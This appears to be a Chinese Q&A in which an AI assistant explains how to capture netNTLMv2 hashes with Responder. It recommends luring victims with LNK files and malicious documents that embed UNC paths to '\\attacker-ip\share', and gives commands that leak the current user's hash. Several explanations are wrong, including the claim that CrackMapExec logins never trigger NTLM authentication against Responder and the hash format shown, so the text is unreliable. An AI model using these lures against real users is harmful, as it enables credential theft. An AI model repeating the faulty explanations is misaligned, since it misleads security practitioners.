问 1:使用 Responder 工具毒化局域网中的 SMB 以获取目标的 netntlmv2 的哈希,但是在 桌面环境下的文件管理器地址栏输入错误的共享会出现登录弹窗,而在 cmd 命令提示符窗口中出入错误的共享不会出现登录弹窗且此时捕获到的 netntlmv2 是当前 cmd 用户的哈希?
你观察到的行为其实与 Windows 系统的身份认证机制和文件资源管理器与命令行处理网络请求的方式有关。这里是更具体的分析:
📁 桌面环境文件管理器行为
当你在 Windows 文件资源管理器的地址栏输入类似于 \\some-bad-share 的地址时:
- Windows Explorer 会尝试自动解析网络共享路径。
- 如果未能成功连接,会弹出一个“凭据”对话框,提示用户输入用户名和密码。
- 在某些情况下,它不会立即使用当前登录用户的凭据进行认证请求,而是等待你输入凭据。
- 所以 Responder 可能没有立即捕获到 netNTLMv2 哈希,或者根本不会触发认证。
💻 命令提示符 (CMD) 行为
当你在 CMD 中运行:
dir \\fake-share\test
- Windows 会直接使用当前 CMD 会话的用户凭据尝试连接。
- 这会触发 NTLM 身份验证请求。
- 如果此时局域网中有 Responder 监听恶意共享,它就可以捕获当前用户的 netNTLMv2 哈希。
- 因为没有交互式弹窗,系统会“静默地”发起认证尝试。
🎯 总结与实战意义
- 如果你想诱导用户泄露哈希,命令行触发或通过快捷方式(LNK 文件)或恶意文档(如 Word 中的
\\malicious\share)更有效,因为它们倾向于自动使用当前用户身份认证。 - 文件资源管理器地址栏交互性更强,但认证行为更保守。
问 2:Responder 工具伪造的那些 HTTP、SMB、FTP 等服务器,使用的认证协议都是 netntlm 协议吗?
Responder 工具伪造的各种协议服务器(如 SMB、HTTP、FTP 等)在处理身份验证时,大多数默认使用的是 Windows 环境下的 NTLM 认证机制中的 NTLMv2(或称 netNTLMv2)协议。下面是更详细的解析:
✅ Responder 使用的认证协议总结:
1. SMB(Server Message Block)
- ✅ 默认使用 NTLMv2(即 netNTLMv2)认证。
- 被诱导主机会自动尝试使用当前登录用户凭据进行身份验证,因此最常见、最有用的 netNTLMv2 哈希来源。
2. HTTP (Basic / NTLM)
- ✅ Responder 默认模拟的是基于 NTLM 的 HTTP 认证(通常是“NTLM over HTTP”)。
- 也是 netNTLMv2 类型的哈希。
- 如果客户端(浏览器或程序)支持 NTLM 认证,会直接发起。
3. FTP(File Transfer Protocol)
- ⚠️ 默认不使用 NTLM,而是传统的明文用户名/密码认证(Basic Auth)。
- 但 Responder 伪造的 FTP 服务器有时会诱导客户端尝试发送用户名(部分应用会回显当前用户名)。
4. LDAP、POP、IMAP、SMTP、MSSQL 等
- 一部分服务(如 MSSQL、POP、IMAP)也会使用 NTLM 或其封装形式进行认证。
- 在支持 NTLM 的情况下,仍可能诱导 netNTLMv2 哈希。
🧠 什么是 netNTLMv2?
-
NTLMv2 是 NTLM 的现代版本,使用更强的加密(HMAC-MD5 + challenge-response)。
-
适用于不直接传递明文密码的协议(如 SMB、HTTP NTLM)。
-
捕获的 netNTLMv2 哈希一般格式如下:
username::DOMAIN:LMHASH:NTHASH:challenge_data
❗小结
| 协议 | 是否使用 netNTLMv2 | 说明 |
|---|---|---|
| SMB | ✅ 是 | 默认使用,最常见的哈希来源 |
| HTTP | ✅ 是 | 支持 NTLM over HTTP |
| FTP | ❌ 否 | 多为明文认证(Basic),非 NTLM 协议 |
| POP/IMAP | ✅(视客户端而定) | 一些邮件客户端支持 NTLM |
| MSSQL | ✅ 是 | 支持 NTLM 身份验证 |
问 3:为什么通过 crackmapexec 提供的凭证去连接 responder 提供的这些伪造服务器时,responder 却无法捕获到其对应的哈希?
这是一个非常常见但又容易被忽视的问题。简单说:
当你使用 CrackMapExec(CME)指定凭证去连接 Responder 伪造的服务时,不会触发 NTLM 认证过程,因此 Responder 无法捕获哈希。
🔍 原因解析
1. CrackMapExec 会主动使用提供的凭证进行完整身份验证
-
当你使用像下面这样的命令:
crackmapexec smb 192.168.1.100 -u test -p password123CME 会使用提供的用户名和密码,通过 完整的身份验证流程(如 NTLMSSP 协议)去连接目标 SMB 服务。
-
重点:如果目标服务是 Responder 模拟的伪造服务(如 SMB),它并不真的实现身份验证流程,而是只做了个“钓鱼服务器”。
- CME 发现无法完成 NTLM 握手,就直接报错返回。
- 认证流程没有被完整发起,也就没有 netNTLMv2 哈希可捕获。
2. Responder 是钓鱼服务器,不是真正的服务端
- 它伪造服务目的在于诱导“自动认证”的客户端,比如:
- 误点击
\\attacker-ip\share - 打开嵌入 UNC 路径的 LNK 文件或恶意文档
- 误点击
- 这些客户端会自动使用当前用户凭据发起 NTLM 认证(challenge-response),而 CME 是明确地指定凭证走认证流程的工具。
3. CME 不会自动发起“探测式认证”来泄漏哈希
- CME 是为了验证凭据是否正确,不是为了诱导自己泄露凭据。
- 它只在与真正实现了 NTLM 握手逻辑的服务交互时,才会发送 netNTLM 哈希。
✅ 如果你想测试 Responder 是否正常捕获哈希:
你应当使用以下方式来诱导客户端自动认证:
-
在目标主机的运行对话框中输入:
\\<attacker-ip>\share -
创建一个包含 UNC 路径的
.lnk或.docx文件诱导目标打开。 -
在 CMD 或 PowerShell 中使用:
dir \\<attacker-ip>\test
这些方式都会使用当前用户凭据自动发起 NTLM 认证,从而被 Responder 捕获。
如果你希望测试 CME 是否可以用于伪造客户端触发认证,可以尝试使用 --local-auth 和不带密码的方式看是否有 hash 泄漏 —— 但这不是 CME 的常规用途。
问 4:上面回答中的“探测式认证”和“自动认证”是什么意思?
很好,这两个术语确实值得明确一下,因为它们虽然不是正式术语,但在渗透测试或红队过程中经常用来描述客户端认证行为的不同方式。
✅ 一、“自动认证”是什么意思?
自动认证指的是:Windows 系统或某些应用程序在访问网络资源时,自动使用当前登录用户的凭据(NTLM)发起身份验证,无需用户输入用户名和密码。
🎯 常见场景
- 在文件资源管理器中输入
\\192.168.1.5\share - 在浏览器中访问
http://192.168.1.5 - 打开一个嵌入 UNC 路径的 LNK、HTML、DOCX、RTF 文件
- 在命令行中运行
dir \\attacker-ip\test
🔁 上述操作会触发操作系统自动发送 NTLM 身份验证请求,使用的是当前会话用户的凭据(通常是 netNTLMv2 哈希)。
Responder 就是利用这种“自动认证”行为来诱捕目标用户凭据的。
✅ 二、“探测式认证”是什么意思?
探测式认证是指攻击者主动使用一组用户名和密码或哈希,去尝试连接某服务以验证其正确性。这种行为不会暴露攻击者自身的凭据。
🎯 工具示例
- CrackMapExec(CME)
- Impacket 的
smbclient.py,wmiexec.py - Metasploit 的
smb_login
🔐 这类工具是“安全”的(对攻击者而言):它们用你提供的密码/哈希去测试服务可用性,但不会泄露自身凭据或触发 netNTLM 哈希泄漏。
🔁 对比总结
| 行为类型 | 触发方式 | 是否自动使用当前用户凭据 | 是否会泄露 netNTLM 哈希 | 举例 |
|---|---|---|---|---|
| 自动认证 | 访问 UNC 路径、HTTP、SMB 等 | ✅ 会 | ✅ 是 | \\attacker-ip\share |
| 探测式认证 | 明确提供用户名/密码/哈希 | ❌ 不会 | ❌ 否 | CME、smbclient、wmiexec 等 |